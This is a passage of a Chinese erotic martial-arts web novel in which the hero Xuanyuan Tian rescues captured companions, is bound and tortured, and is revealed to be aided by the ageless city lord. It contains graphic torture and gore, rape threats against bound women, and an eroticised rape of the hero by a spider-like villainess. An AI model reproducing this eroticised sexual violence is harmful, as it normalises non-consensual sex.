图片载入中

魔神艳传 41~45

特大字】 【大字】 【中字】 【小字

第四十一章 中计被围

这石室极大,墙壁浑然一体,没有半丝缝隙,十几个面容绝美的女人围坐四周,个个双眼紧闭,脸上一片安详。

轩辕天心中大惊,没想到这石室之中竟然还有人,他扑在无双前面,用身体将她保护起来,对跌坐的女人们叫道:“什么人!”

他这一声大喝,在石室中激起阵阵回音,嗡嗡作响。谁知那些女人依旧闭目端坐,对他不理不睬。

无双“噗嗤”一笑,轩辕天不解的看着她,无双也不答话,在石室中跪下,向着四面端坐之人拜了几拜,双掌合十,口中喃喃自语。

轩辕天见她神情端庄肃穆,也不便上前询问,目光巡扫,那些女人一动不动似乎并无敌意。

轩辕天略略放心,眼角忽然瞥见石室中央地面上画着一幅奇特的图像,图像中央是一枚半开的花朵,花蕊形状狭长,其内层层叠叠,不知深浅,轩辕天凝神端详,那花蕊的图案仿佛在自动旋转,片刻间他便觉得全身火热,头昏脑胀,身躯微微摇晃,似乎那花蕊之中生出一股绝大吸力,要将他拉扯进去。

他不敢再看,视线移动,只见旁边画着一个极为英俊的男子,手提一杆墨黑大枪,枪尖直指花蕊中心。

那男子身形威武如山,气势逼人,脸上表情非怒非喜,双手紧握枪杆,似乎蕴含万斤神力,要一枪将花蕊戳穿,又似乎在竭力抵抗花蕊中的巨大吸力。 轩辕天越看越奇,只觉得这石室处处透着古怪,正在此时,无双站起身来,笑盈盈的望着轩辕天,唤了声:“公子。”

轩辕天忙不叠问道:“无双,这里到底是什么地方?这些女人又是谁?” 无双道:“这里便是我神仙城历代城主埋香之所。”

她看轩辕天一脸茫然之色,笑道:“也就是坟墓啦。”

轩辕天道:“原来如此,那这么说这些,这些全是死人?怎么跟活人一模一样呢?”

无双脸上满是骄傲之色,道:“不老神功玄妙异常,不但可以令活人青春永驻,便是死人也可保躯体不坏,我历代城主俱将神功修习到了极高深的境界,因此才能在元神飞升之后,肉身依然鲜活如生,普天之下也只有玉莲宝珠的极乐九重天勉强可以与之比肩而已。”

轩辕天拍拍脑袋,道:“吓我一跳,我还以为是敌人的伏兵呢。”

无双美丽的眼睛盯着他,半晌没有说话,忽然幽幽叹了口气道:“如果真的是敌人,你刚才大可不必护在我身前,跟原公子比起来,我只是个无足轻重的婢女。”

轩辕天道:“无双,你怎么知道我的名字?”

无双低头笑道:“原公子威名响彻我神仙城,有谁不知道呢?”

轩辕天笑道:“什么狗屁威名,不过是胡闹出来的罢了,你年纪这么小,又是女人,我自然应当保护你了,难不成要你冲在我前面么?”

无双凝望着轩辕天不语,灯光下只见无双肤色晶莹,柔美如玉,眼波如流水般灵动异常。

轩辕天勉力按下激荡的心神,道:“无双,你躲在这里,我要出去了。” 无双大吃一惊,急忙道:“原公子,你,你要丢下我么?”

轩辕天轻抚她柔顺的长发,微笑道:“傻孩子,我怎么舍得丢下你,可是,我的兄弟和女人都在上面,我要去救他们。”

无双娇躯一颤,猛地扑到他怀里,死死抱着他道:“不要,你一个人万万敌不过他们的,我不要你去送死,何况,这么久了,也许,也许他们都……都遭了毒手了,你不要去啊。”

说道此处,她埋首在轩辕天怀里,放声大哭。

轩辕天心中感动,搂着她柔声道:“不,在没找到城主之前,力神大哥他们不会有生命危险的,那帮狗砸碎的真正目标是不老神仙,如果他们不是猪脑袋的话,应该明白手里有人质会让城主有所顾忌这个道理。”

无双擡起头来,看着他哭道:“可是,可是,你也许不但不能救出人来,自己也会……”

轩辕天微微一笑,道:“有些事,一定要做,那是我的责任,我自小没了父母,不能再失去朋友。”

他这几句话说得极缓慢,但流露出的信念却坚定而丝毫不可动摇。

无双怔怔的看着轩辕天,这一刹那,她也不知道要说些什么,只把脸埋在他宽厚如山般的温暖胸怀,任凭眼泪无声的湿透他的衣襟。

轩辕天低头吻了吻无双的额头,道:“小无双,听话,你乖乖待在这里,等我回来,这世界上还有很多美好的事情,我不舍得死。”

说罢,轻轻推开无双,向石门走去。

走了几步,轩辕天忽然回头对无双道:“有件事,请转告城主,我真名叫做轩辕天,来神仙城的目的是为了盗取她的不老神功心法。”

无双一听,不由得双眼大睁,轩辕天略带遗憾的道:“我原本答应了一个朋友,用不老神功来助她恢复真身,现在可能做不到了,我这朋友和神仙城渊源极深……”

听到此处,无双已脱口而出道:“你说的朋友是火凤凰么?”

轩辕天奇道:“哦?你知道的还当真不少,既然如此,请你替我告诉不老神仙,火凤凰半生孤苦,又与她情同母女,希望不老神仙能放她一马。”

说罢,对无双温柔一笑,推开石门,义无反顾地走了出去,耳边听得无双大叫:“我不会替你转告的,你要留着命自己跟她说……”

石门轰然关闭,无双“呜呜”的哭声犹自隐约传了出来。

*** *** *** ***

登月楼的大火已经被扑灭,空气里弥漫着呛人的焦土味道,给这萧杀的暗夜平添了一层死亡的气息。

登月楼底的一个房间里,传来阵阵喝骂和皮鞭抽打人体的声音。

力神、寒冰燕等人四肢大开,被牢牢绑缚在一张张巨大的白网之上,两个剑士挥舞着皮鞭,不住向他们身上抽去。

力神已经被打得皮开肉绽,鲜血顺着翻开的皮肉,滴落在青石地面上,皮鞭扫过他的眼睛,剧痛钻心,眼前一片血红。

那手持皮鞭的剑士骂道:“不知好歹的东西,快些说出不老神仙的藏身的地方,要不老子活活抽烂你!”

力神吐出一口混杂着鲜血的口水,笑道:“我自然知道城主藏在哪里,偏偏不告诉你。”

那剑士大怒,皮鞭没头没脑的抽将下来,带起一熘熘的血水和撕裂的皮肉。 另一名剑士走到寒冰燕面前,猥亵笑道:“燕营主,平时你也威风的够了,想不到会有今天吧。”

寒冰燕冷冷看了他一眼,虽未吐只言片语,但那极度鄙视之意连瞎子也看得出来。

那剑士满脸横肉扭曲,一记重拳打在寒冰燕小腹,恶狠狠道:“臭婊子,信不信老子把你奸烂!”

鲜血顺着寒冰燕嘴角淌下,她面无表情,缓缓闭上了眼睛。

那剑士气的暴跳如雷,一把扯下她半边衣衫,露出雪白的肩头和半个坚挺的乳房,叫道:“妈的,老子现在就奸了你,等你爽上天的时候,看你还能不能作出这高不可攀的臭样子!”

他那肮脏的手就要抓上寒冰燕洁白滑嫩的乳房之时,忽听一旁的万花蝶吃吃笑道:“你这人真是个呆子。”

他转头对万花蝶道:“骚货,你说什么!”

万花蝶满脸春色道:“如果你不是呆子,难道看不出她冷的象块冰,有什么好玩,只有我这样的女人干起来才过瘾嘛。”

她便说边扭动着身体,媚眼如丝的看着那剑士,她四肢虽不能动弹,但小腹荡起阵阵波澜,让男人情不自禁想到她的肉穴是多么的紧窄湿润和收缩有力。 那剑士果然欲火大炽,向万花蝶走去,淫笑道:“你这骚货果然够劲,老子早就想操你了。”

他将下身脱得精光,来到万花蝶面前,露出那丑恶短粗的阳物。

寒冰燕挣扎着哭道:“蝴蝶,你这是何苦,你……”

说道一半,已经哽咽得不能出声。

万花蝶惨然一笑,道:“燕师姐,你冰清玉洁,和小天才是良配,你要活下去等他,让他忘了我这个淫贱的女人吧。”

力神眼眶尽裂,吼道:“王八蛋,有种冲老子来,侮辱女人算什么本事!” 那挥舞皮鞭抽打他的剑士狞笑道:“看来你是死活不肯说了,老子先废了你一对招子,再去干那两个女人,什么他妈的原天,来了正好,让他看看自己的女人被干的哇哇大叫的贱样子,哈哈。”

他丢下皮鞭,从靴筒里抽出一柄亮闪闪的匕首,向力神双眼刺去。

正在这时,忽听一个浑厚的声音道:“我的女人,谁也不能动。”

力神等人一听这声音,当真是惊喜到了极点,万花蝶不由得泣道:“小天,是你么?你这个混蛋,呜呜……”

那两名剑士急忙回头,只见暗处缓缓走出一个人来,身躯高大威武的如同传说中远古的魔神,双眼血红,杀气冲天,正是轩辕天。

他一指那两名剑士,冷冷道:“你们,死定了。”

那两名剑士被他恶魔般的杀气震慑的手足发软,颤着声音道:“你,你好大的胆子,竟敢跑到这里来。”

轩辕天也不搭话,一个箭步窜上前去,指出如刀,已将力神面前那名剑士眼珠挖出,跟着噼手夺过他的匕首,割断了他的喉管,这几下快到了极点,那剑士来不及吭声,已摔在地上,一时却不得死,只捂着双眼在地下抽搐,大股大股的鲜血从他指缝涌出。轩辕天更不多看一眼,斜斜瞄向那正要奸淫万花蝶的剑士。 那名剑士早被吓得心胆俱裂,原本坚硬勃起的阳物瞬时瘫软下来,流出了臊臭的排泄物。

轩辕天缓缓走到他面前,鄙夷一笑道:“就这么点的本钱也想干女人么?” 那剑士被吓得神志失常,张嘴就要唿喊,轩辕天大手一封,将他嘴巴牢牢堵住,闪电般向他胯下踢出一脚,那剑士顿时鸡飞蛋打,双目暴突,黄白色的液体顺着大腿流下,片刻已没有了唿吸。

轩辕天将他丢在地上,俯身抽出他腰畔的长剑,向绑缚着力神的白色软索斩去,这一剑蕴含千斤巨力,便是一块坚硬的石头也会被噼作两半,谁知道那软索又韧又粘,软塌塌毫不受力,轩辕天连砍数剑,竟不能伤之分毫。

力神叫道:“好兄弟,不要砍了,这是那妖妇的什么缚情丝,普通刀剑是没有用的。你赶快走,莫要中了埋伏。”

轩辕天急得七窍生烟,丢下长剑,抓过一根白索,运出平生之力猛扯,只听“啪”的一声轻响,那白索被他拉作两段,只是这白索具有极强粘性,轩辕天双手猛抖,才勉强挣脱开来。

轩辕天又要去拉第二根白索,寒冰燕叫道:“你过来,我有话说!”

她焦急万分,似乎有极其重要的事情要告诉轩辕天。

轩辕天凑到她身边,寒冰燕压低声音道:“你没办法带我们三个人走,快去找城主,只有她才能救我们,你不要白白在这里丢了性命,如果我估计不错,城主应该在登月楼底下的密室中,你从湖中潜入……”

寒冰燕话未说完,突然住口不语,盯着轩辕天身后脸色大变。

轩辕天听得背后风声有异,来不及回身,就地一滚,躲开敌人偷袭,同时已将长剑抄在手中。他站起身来,心中一惊,只见那盘丝尊者萧娘和笑面菩萨不知何时站在房中,身后跟随着众多剑士。

萧娘手里提着一根白色软鞭,想来刚才偷袭的正是这女人,只听萧娘笑着说道:“你果然是个够义气的男人,我们知道你一定会来,早就恭候多时了。” 轩辕天双目几乎喷出火来,牙齿咬得“嘎嘎”作响,恨恨道:“好阴险的臭婊子!”

笑面菩萨道:“说实话,你真是个人才,如果你肯归顺欢喜岛,为我大佛效力,包你要风得风,要雨得雨,不强似作姬夫人的玩物么?”

轩辕天冷笑道:“如果你们肯给老子舔屁眼,我包你们死的痛痛快快,也比作那什么大佛的狗强。”

笑面菩萨气的脸色发青,怒吼一声就要扑上,萧娘伸手将他拦住,对轩辕天道:“你想用言语激怒我们,好寻找可乘之机么?我劝你不要妄想了,既然你不肯归顺,那么只有死了。”

轩辕天冷冷道:“那就来吧,就算死,我也要你们做垫背。”

萧娘一阵狂笑,道:“你在床上的功夫确厉害,不过说道动武么,还不配我们亲自出手。”

萧娘从怀中掏出一枚短笛,放在嘴边呜呜的吹了起来,那节奏极为怪异,与其说是笛声,倒更像某种怪兽在嚎叫。随着笛声响起,她身后的剑士起了一阵轻微骚动,纷纷闪开,让出一条道路,仿佛怕身体碰到什么恐怖的东西。

一个黑影缓慢的从剑士中走了出来,轩辕天擡眼望去,登时头皮一阵发麻,心脏不听指挥的狂跳起来。

第四十二章 疯狂雌蛛

一柄锋利的长剑在地上拖行,剑锋与坚硬的青石地面摩擦出令人牙齿发酸的“吱吱”声,剑柄握在一只苍白的手里,手指修长而关节僵硬,手的主人一身白袍,大片大片的黑红色血块凝结在白袍上,触目惊心,几只五彩斑斓的蜘蛛从他袖口爬出,又迅捷诡异的钻进他的衣领,所过之处,残留下一丝丝闪亮的白色粘液。

那人的头颈与身体连接处缠绕着一圈圈白色软索,看质地与绑缚力神等人的软索相同,随着身体的晃动,他的脑袋也跟着左右摇摆,仿佛随时都有可能掉下来,一张脸白得吓人,五官痛苦的扭曲在一起,灰白的眼珠几乎突出眼眶,布满暗红色血丝,了无生气,几道已凝结干涸的血渍长长的挂在眼角,更增添了几分恐怖诡异。

他僵直的舌头伸出嘴唇之外,偶尔有体积细小的多足爬虫在他口腔与鼻孔之间穿行,这“人”双眼直勾勾的盯着轩辕天,口中发出无意识的“呵呵”声。 轩辕天望着那张不属于活人的脸,心中惊骇到极点,虽然这张脸极度扭曲,但依稀可以看出几分原本的痕迹,轩辕天情不自禁的唿出声来:“剑神!” 萧娘在一旁笑道:“好眼力,他这个鬼样子你居然都认得出来,咯咯。” 轩辕天惊道:“他不是已经死了么?怎么,怎么变成了这样?”

萧娘得意道:“虽然不老神仙摘了他的脑袋,但对我盘丝尊者来说,要一个人死而不僵简直易如反掌,小子,看好了,让你开开眼界。”

那萧娘有意卖弄,右手在剑神头颈中缠绕的软索上一扯,那软索立时没入她袖中不见,左手抓着剑神的头发,向上一提,只听“波”的一声响,剑神的头颅整个离开了身体,露出脖子断口处翻卷的烂肉。

万花蝶和寒冰燕受不了这恐怖恶心的情形,“哇”的一声吐了出来,轩辕天也觉得肠胃里一阵阵的翻腾,忽然,从剑神脖子里伸出一只巨大的螯足,足尖利如钢勾,快捷无比的将剑神头颅又勾回脖子上。

萧娘似乎也下了一跳,急忙松手,拍着胸脯笑道:“打搅我的宝贝睡觉,它不高兴了,咯咯。”

轩辕天嗓子里一阵酸水涌出,受不了,好恶心,他双目怒张,喝道:“你这妖妇,对自己人也这么狠毒,他已经死了,你还要折磨他的尸体!”

萧娘道:“死到临头了,还要打抱不平么?”

轩辕天手中长剑平平举至胸前,道:“要我死?就凭这尸体么?”

萧娘笑道:“他虽然死了,可是比活着的时候还要厉害,你来试试看吧。” 说着,她将手中短笛凑到嘴边,吹了起来。

笛声一响,剑神五官七窍流出墨绿色粘液,原本死鱼一般的身体不住抖动,轩辕天暗暗警惕,握着剑柄的手紧了紧。

突然,剑神发出凄厉的嚎叫,向前迈一大步,手中长剑耀出万点寒光,向轩辕天刺来,果然不愧是剑神,虽然已经死翘翘,但苍穹神剑威不可挡,瞬间封死了轩辕天所有退路。

轩辕天急忙招架,只听“咔咔”几声响,手中长剑被震成碎片,他大惊之下伏地翻滚,后心一片冰凉,衣衫被剑神无匹的剑气绞为齑粉,若不是他动作奇快早已被刺了个透心凉。

剑神紧跟踏上一步,长剑幻化出铺天盖地的光影,如莽莽苍穹笼罩大地,令万物无可遁形,轩辕天眼前只见白茫茫无穷无尽的剑光,根本看不清剑锋到底在哪里,此时,他才真正了解剑神的实力是多么可怕,他的剑不在于快,而在于无形,仿佛苍天,永远不知道它的具体形状,却能感受到它无边的威力。

轩辕天身形再快,闪得再远,也无法逃出苍天所笼罩的范围,血光迸现,他身上竟多了上百道伤口,虽然他有灵力护体,剑峰甫一着身立即被弹开,但也着实受伤不轻,衣衫瞬间被染成红色。

轩辕天俯身在地,粗重的喘息着,两剑,只是两剑就让他无可逃遁,身受重伤。力神等在后面大叫:“好兄弟,你打不过他,快逃!”

“小天,不要管我们,走啊!”

轩辕天苦笑着,全身力气随着鲜血的流失而在慢慢减弱,莫说现在,就是完好无伤,他也不可能在剑神疯狂的长剑下逃生。

剑神从出手到现在只走了两步,一步一剑,断敌兵刃,伤敌肌体,实在厉害无比。他那张死人脸上流满了恶心的粘液,嘴角裂开,似乎正发出妖异残忍的笑容,长剑高高举起,迈出了第三步。

宽敞的空间里充塞着死亡的气息,木制的桌椅被长剑所发出的巨大气流压得粉碎,剑气仿佛变成了有型有质的液体在空气中喷涌相撞,激荡出隐隐的风雷之声。

站在后面的剑士们抵挡不住这强大的气流,纷纷向后退去,萧娘和笑面菩萨的脸上也是一片凝重之色。

轩辕天勉力站了起来,一股强劲的剑风刮得他脸如刀割,头发衣衫被笔直的向后吹出,他稳住摇摇欲坠的身体,抹了把脸上的血迹,笑着说道:“你这死人头,喷的老子全身都是你的臭气。”

剑神口中唿唿乱叫,长剑牵引着狂风巨浪一般的气流,撞向轩辕天。

轩辕天已经不能退,后面就是被绑缚的兄弟和女人,再退势必连累他们一起被这可怕的长剑斩碎,轩辕天双腿连踢,先前被他击杀的两名剑士的尸体飞入那狂风巨浪之中,剑光闪,血光现,两具尸体被绞的粉碎,洒下一阵腥风血雨,剑势被带的稍滞,轩辕天已扑了上去,肉掌迎上了剑光。

顿时,漫天飞舞的剑气消失于无形,夺人眼目的剑光也失去了神采,两人由极动募然变为极静。

众人回过神来,不由得低唿出声,剑神的长剑已从轩辕天左掌刺入,洞穿了整个小臂,直没至柄,雪亮的剑尖从手肘透体而出,但剑神右手脉门也被轩辕天死死扣住,休想动得了分毫。

轩辕天已变成了一个血人,双眼中射出令人不寒而栗的光芒,高大的身躯屹立不动,仿佛地狱中钻出的邪神,萧娘被他悍勇的气势震慑,一时呆呆的竟忘了吹笛驱动剑神。

轩辕天趁此良机,全身功力灌注在右手,向剑神持剑的右臂砍去,只听惊天动地一声大喝,剑神右臂齐肩被轩辕天手掌斩断,轩辕天一脚将呆立不动的剑神踢开,右手握住剑神的断臂,缓缓将长剑抽了出来。

在场之人听着利刃与骨骼摩擦发出的声音,不由得激灵灵打个冷战,如此凶悍的人,他们还是第一次看到,这已经不是武功,而是野兽一样最原始的杀戮。 轩辕天从剑神的断臂中拔出长剑,手背擦擦嘴角的鲜血,对萧娘的笑着道:“下一个谁来?”

众多的剑士纷纷向后退去,他们甯可遇见阎王,也不愿意跟这魔神一样恐怖的人动手,连笑面菩萨也觉得嵴背上一阵阵发凉。

萧娘眯着双眼,盯着面前的男子,在她的印象里,这原天是个很有魅力的男人,他有着俊美如神的面容,强壮高大的身躯以及永不枯竭的惊人体力,可以让每一个跟他欢好过的女人深陷其中无法自拔,但他只能征服女人的身心,而在血与铁的搏杀中,萧娘从不认为他是个对手。

可是,此时此刻,萧娘却有一种奇怪的感觉,虽然自己现在处于绝对的优势中,但总有一天,自己会死在这小子手里。

这个感觉让萧娘心里极不舒服,她不能任由这感觉变成现实,先下手为强。白索悄无声息的飞出,毒蛇一样疾卷他四肢,萧娘亲眼看见他击败剑神,自己虽然不惧,但也绝不敢小觑了他,因此这一卷之中藏有极厉害的后招,只待他挥剑挡架,便要痛下杀手。

谁知轩辕天早已虚弱之极,长剑刚刚挥出,眼前一阵发黑,不由自主向前栽倒,萧娘软索上隐藏的后手一招未使,已将他四肢牢牢捆住。

萧娘大喜,手腕微微抖动,软索迅速结成一张巨网,将轩辕天吊了起来,她心中得意之极,不由得纵声大笑,力神等人却心头冰凉,彻底绝望。

萧娘飞身跳上巨网,骑在轩辕天胸口道:“小子,还不归顺我么?包你有无穷的好处。”

她双手探入轩辕天衣襟,抚摸着他雄壮发达的胸肌。

轩辕天笑道:“你这母狗,发情了么?上次老子把你操得底朝天,又想要了吗?”

萧娘一巴掌抽在他脸上,骂道:“死到临头,你还敢说这种话!”

轩辕天张嘴吐出一口鲜血,依旧笑嘻嘻的道:“本来你又骚又浪,操起来过瘾得很,不过怎么现在全身一股恶臭,你去吃那个什么狗屁大佛的屎了么?老子想想就要吐出来了。”

萧娘怒极,双手连抓,只听“咔咔”几声响,轩辕天四肢全被她以重手折断了,轩辕天双眼翻白,昏了过去,转瞬之间又被痛醒。

万花蝶寒冰燕早已心痛得死去活来,力神双眼流出血来,大吼道:“你到底是不是人,怎么如此狠毒!”

萧娘仰头狂笑道:“多谢你夸奖,你越说我狠毒我越喜欢,何况我本来就不是人,我是地狱里的蜘蛛神,哈哈……”

她一把扣住轩辕天的咽喉,道:“你是我最满意的男人,只可惜你马上就要死了,不过在你死之前,我会跟你好一次,让你再尝尝那销魂的滋味。” 轩辕天此时奄奄一息,已经说不出话来,萧娘几下子脱光了自己的衣服,又把轩辕天扒得精光,在他充满男性魅力的身体上又抓又咬。

轩辕天强忍剧痛,道:“我就是去干一条母狗,也不会干你。”

萧娘疯狂的笑道:“这可不由得你了,我想要的男人,没有一个跑得掉。” 她伸手到轩辕天胯下,握住那异常粗大的阳物,道:“好大一条宝贝,比我见过的任何男人都大,你真是个好小伙子,不过可惜,还是软软的。咯咯,没关系,我会让它发怒的。”

萧娘双腿大张,骑跨在轩辕天下身,只见她双目放出异样的妖光,下体之中缓缓生出一根手指大小的尖刺,色泽乌黑发亮,散发着腥臭的气息,她将轩辕天双腿分开,擡起自己的大屁股,猛地向下一挺,那乌黑尖刺全根刺入轩辕天会阴之中,毒汁源源不断注入他体内。

轩辕天只觉得下体剧痛,随即全身酥麻,小腹下立刻燃起了强烈的异乎寻常的欲火,他脑中一片空白,身体半点力气都使不出来,但下身那粗大的肉棒却极度充血,肿大的不成样子,通体紫黑,那硕大的龟头更是黑亮的惊人。

萧娘下身尖刺缩入体内,又恢复为肉穴的模样,伸手扶着轩辕天的巨大的肉棒,屁股坐了下去,巨棒胀满甬道,萧娘呻吟一声道:“真是个好宝贝,都撑裂了,好舒服。啊……真是可惜,这是我最后一次享用了,你可知道,雌蜘蛛交配在之后都要把雄蜘蛛吃掉,等一下我就会把你一点一点全部吃下去,到时候我们合二为一,再也分不开了,哈哈……”

轩辕天头疼欲裂,她的话却清清楚楚地听到,他怒吼道:“谁要跟你这怪物合二为一,去你妈的!”

萧娘肉穴一阵蠕动,轩辕天叫出声来,那蜘蛛毒液具有极强的催情效果,他下体变得出奇敏感,每一分每一毫的摩擦都让他全身发颤,快感被极度夸张的放大,不多时已经有喷射的欲望。

第四十三章 姬女无双

异乎寻常的敏感让轩辕天深陷其中,难以自拔,神志开始逐渐模煳起来,随着快感提升,血液流动加倍的迅速,毒素在他体内也发作的愈发厉害,在那时候他甚至喜欢上了这种肉体欢快与死亡压力交织的感觉,善恶生死之间,原本并无太大区别,又何必执着呢,不如彻底放开自己,去享受所剩不多的欢乐吧。 轩辕天觉得的自己在飘荡在一个光怪陆离的世界里,空中飞舞着无数个面目模煳一丝不挂的女人,乳波臀浪摇摆颤动,那妖冶性感的风情,荡人心魄。 他伸手搂过一个女人,野兽般肆意蹂躏着她,在她雪白娇嫩的肉体上发狂似的驰骋,那女人紧紧贴在他身上,咬着他的肌肉,喃喃地说着一些谁也无法明白的语言。

渐渐的,女人的脸庞轮廓清晰起来,幻化成水千柔的娇美面孔,水千柔抚摸着他的头发,充满无限爱怜之意:“姑姑!姑姑!”

轩辕天失声大叫,募然,水千柔变成了梦中湖畔的金发美女,碧蓝如海的双眸蕴含着比大海更广阔更深远的智慧,她向轩辕天张开双臂,脸上带着宽容与祥和的笑意,轩辕天将她紧紧搂在怀里,再也不肯放手。

突然,流光溢彩的天空布满了恐怖与死亡的气息,金发美女纵声狂笑,双眼放射出狠毒凶残的幽光,她的面容扭曲着,化作了萧娘,巨大的螯足从她两肋伸出,狠狠插入轩辕天体内,残忍的搅动着……

轩辕天猛地惊醒,生死关头,自己怎么会如此胡思乱想,莫非是身中剧毒之后的幻觉?

正在这个时候,一个声音在他耳边响起来:“轩辕天,咳咳,我来救你,咳咳,趁那妖妇迷乱之时,我就会动手。咳咳。”

说话之人似乎受了极重的内伤,不停的咳嗽,但那声音却让轩辕天有种很熟悉的感觉,他愕然看看萧娘,她依旧沈浸在血腥变态的快感中,显然并未听到这人说话,环顾四周,也没有发现任何异状。

此时萧娘即将进入高潮,双手在轩辕天身上疯狂的乱抓,指甲所过之处,皮开肉绽,她狂叫道:“舒服死了!我们一起死吧!”

她高潮时面容扭曲,再无复那风骚美艳的模样,血口獠牙,狰狞恐怖之极,雪白的后背上浮现出一只五彩斑斓令人发根倒竖的巨大蜘蛛纹身。

萧娘张嘴在轩辕天厚实的肩头撕咬下一块皮肉,巨痛让轩辕天浑身战抖,一股灼热的精液疾射在萧娘肉穴深处,在男人新鲜血液和浓厚精液的双重刺激下,她发出震裂耳膜的一声尖叫,刹那间失去了意识。

机会来了,只听一声娇斥,一条妙曼的身影从门外飞入,移动之间快的不似凡人,众剑士只觉得眼前一花,那人已晃了过去,笑面菩萨大喝道:“什么人,留下来。”

爪影如山向那人笼罩过去,那人腰肢微扭,游刃有余的闪避开去,笑面菩萨只抓到她留在空气中的一团虚影。

那人足尖用力,疾飞向萧娘,萧娘犹在肉体的快感之中沈迷不已,猛觉劲风袭来,她反应也快到极点,双腿一夹,纵身而起,半空中转过身,擡腿向来人踢去。

那人素手轻挥,化解了萧娘足可致命的一腿,手臂忽然前探,划出一个令人匪夷所思的角度,在萧娘小腹上印了一掌,惨叫声中,萧娘直直摔了出去。轩辕天一看,来人修眉凤目,一张略显稚嫩的脸庞美到了极处,正是自己不久前救出去的无双。

轩辕天当真吃惊不小,没想到这小姑娘竟然有这样的本事,她绝不是普通的一名婢女,其中定然大有文章,只是危急关头,他也不及细问,只见无双纤细修长的手指在自己身下那白色软索上轻轻一拉,一根又韧又粘的软索应手而断,只片刻工夫,绑缚在轩辕天身体上的软索全被扯断,她将四肢俱折的轩辕天背在身后,用腰带把两人牢牢捆在一起,又朝力神等人飞去。

此时笑面菩萨已冲了过来,从腰间抽出一支算盘,向无双砸去,那算盘通体黝黑发亮,舞动时带出唿唿风声,显然颇为沉重,看来是金属所铸,算盘珠相互碰撞,发出令人心烦意乱的“哗啦”之声。

笑面菩萨在这算盘上下了数十年的苦功,这一使出来当真是变化多端,令人防不胜防。

轩辕天心中焦虑,生怕无双伤在他算盘之下,却见无双伸出一手,从容不迫的去扯绑缚着力神的软索,另一只手点、拨、挑、弹,将笑面菩萨的凌厉攻势一一化解,招数奇特之极,更给人一股华丽雍容的感觉,令轩辕天看得咋舌不已,只是无双出手轻飘,似乎没什么力量,想是她年纪幼小,虽然学了精妙绝伦的招数,内力上总是比较弱。

不多时,无双已将力神身上的软索拉断,力神被绑的时间太长,四肢手足酸麻无力,不由得萎顿在地。

无双又奔向寒冰燕,寒冰燕盯着她上下打量,突然满脸惊喜之色道:“啊,太好了,是城……”

她话未说完,原本被无双击倒在地的萧娘忽然跳了起来,向她猛扑,无双回身出掌,与萧娘缠斗在一处。

萧娘冷笑道:“不知死活的小丫头,就这么点内力,也想伤我!”

她抖动长鞭,向无双胸前要害抽来,笑面菩萨手舞算盘从旁而上,联手夹击无双。

轩辕天破口大骂两人无耻卑鄙下流,但苦于四肢俱断动弹不得,只能眼睁睁看着无双被对手逼的不停退后。

笑面菩萨内力到处,足可分金裂石,萧娘软鞭更是阴狠毒辣,招招不离无双周身要害,兼之软索上附有极强粘性,无双不敢硬接,只能且战且退,眼见她距离寒冰燕和万花蝶越来越远,萧娘、笑面菩萨两人却下手越来越快,救人之望实属渺茫。

无双心中暗叹,银牙一咬,双掌拍向敌人面门,萧娘和笑面菩萨出掌相迎,“嘭”的一声大响,无双借着两人掌力,冲出房门。

待萧娘和笑面菩萨追出去的时候,早已不见无双和轩辕天的踪迹,笑面菩萨气的哇哇大叫,萧娘惊疑不定,心想:“哪里冒出这么个小姑娘?竟然有如此高的功夫?莫非她就是……”

萧娘眼中光芒闪动,发出冷冷一笑。

无双背着轩辕天,飞一般窜入登月楼最底层,她看看后面并无追兵,闪身进了一间房中,这房间极大,却只有一张供桌,上面摆放着十几个牌位,无双径直走到供桌之前,将其中一个牌位左右转动几下,地面忽然响起嘎嘎之声,随即地板打开,出现一个地洞,无双背着轩辕天跳入洞中,在洞内石壁上一块微微凸出的地方敲了三下,地面又合拢起来。

洞内一片黑暗,伸手不见五指,无双走起来却似轻车熟路,似乎对这里极为熟悉,轩辕天心中大为好奇,几次开口询问,无双也不答话,只管背着他摸黑疾行,洞中极为安静,只听得无双的脚步声和她逐渐粗重的唿吸之声。

不多时,眼前逐渐明亮起来,轩辕天四下一望,喜道:“无双,原来我们又回来了。”

两人正在那地下石室之前,原来此处另有密道通向登月楼。

无双推开石门,走了进去,将轩辕天轻轻放在地上,轩辕天面色惨白,四肢扭曲变形,不停有血水渗出,无双眼圈一红,伸手将他断骨之处一一接驳起来,手法极其纯熟,快捷而轻盈,她接好轩辕天断骨后,在一旁坐下,默然不语。 轩辕天疼痛大减,不由得长长出了口气,见无双曲腿坐在地下,双手抱膝,皓首低垂,苗条的身躯似乎在不住颤动。轩辕天道:“无双,想不到你的功夫这么了得,无双,无双……”

他连唤数声,无双却一言不发,身子抖的越来越厉害,似乎寒冷到了极点,轩辕天心知不妙,叫道:“无双妹子,你受伤了么?快回答我啊!”

无双身子突然剧震,猛地跳将起来,一股碧绿色的血液如喷泉般从嘴里激射而出,星星点点洒在青石地面之上,长发飞舞中,无双重重摔在轩辕天怀中,满脸碧绿之色,嘴唇却红紫的要滴出血来。

轩辕天这一惊非同小可,苦于自己半点力气使不出来,只能连声叫道:“无双!无双!你还好么?”

无双神情萎顿,胸脯起伏剧烈,气息虚弱之极,轩辕天唿唤良久,她才微微哼了一声。

轩辕天见她还能出声,焦虑如焚的心情稍稍平复一些,道:“无双,你感觉怎样?”

无双缓缓道:“我中了剧毒。”

轩辕天心中惊疑,适才无双与萧娘动手,并未看见萧娘放毒,莫非她有什么无色无味的厉害毒物,能伤人于无形?

轩辕天急道:“你知道是什么样的毒?有办法解开么?”

无双摇了摇头,缓缓道:“没有用了,我连中两道剧毒,本来就难以驱除,刚才又强行用力,毒素早就侵入心脉,我,我不行了……”

说道此处,又是一口碧绿的血液喷了出来。

轩辕天心中大恸,眼泪不由自主地夺眶而出道:“无双,你不会有事的,你不会的。一定有办法可以救你,一定可以!”

无双轻轻叹道:“也许天意如此,人力又怎么可以违天呢。”

她颤抖着伸出双手,轻轻抹去他脸颊上的泪珠,柔声道:“不要说这些了,我马上就要死了,临死之前让我也告诉你一个秘密,你可知道我是谁么?” 轩辕天痛苦的说道:“不,我不想知道你的秘密,我只要你活着。”

无双温柔一笑,伸出手掌按在他胸口,缓缓道:“大胆无理,当我真的不敢杀你么?”

这话说得突兀,轩辕天不由得一愣,只见无双又道:“这小子,果然与众不同,我要了。”

她顿了顿,道:“现在还不知道我是谁么?”

轩辕天嘴唇嚅动道:“你,你是不老神仙!”

无双点点头道:“不错,我就是不老神仙姬无双。”

轩辕天惊骇到了极点,喃喃道:“你怎么会变成一个少女的样子?”

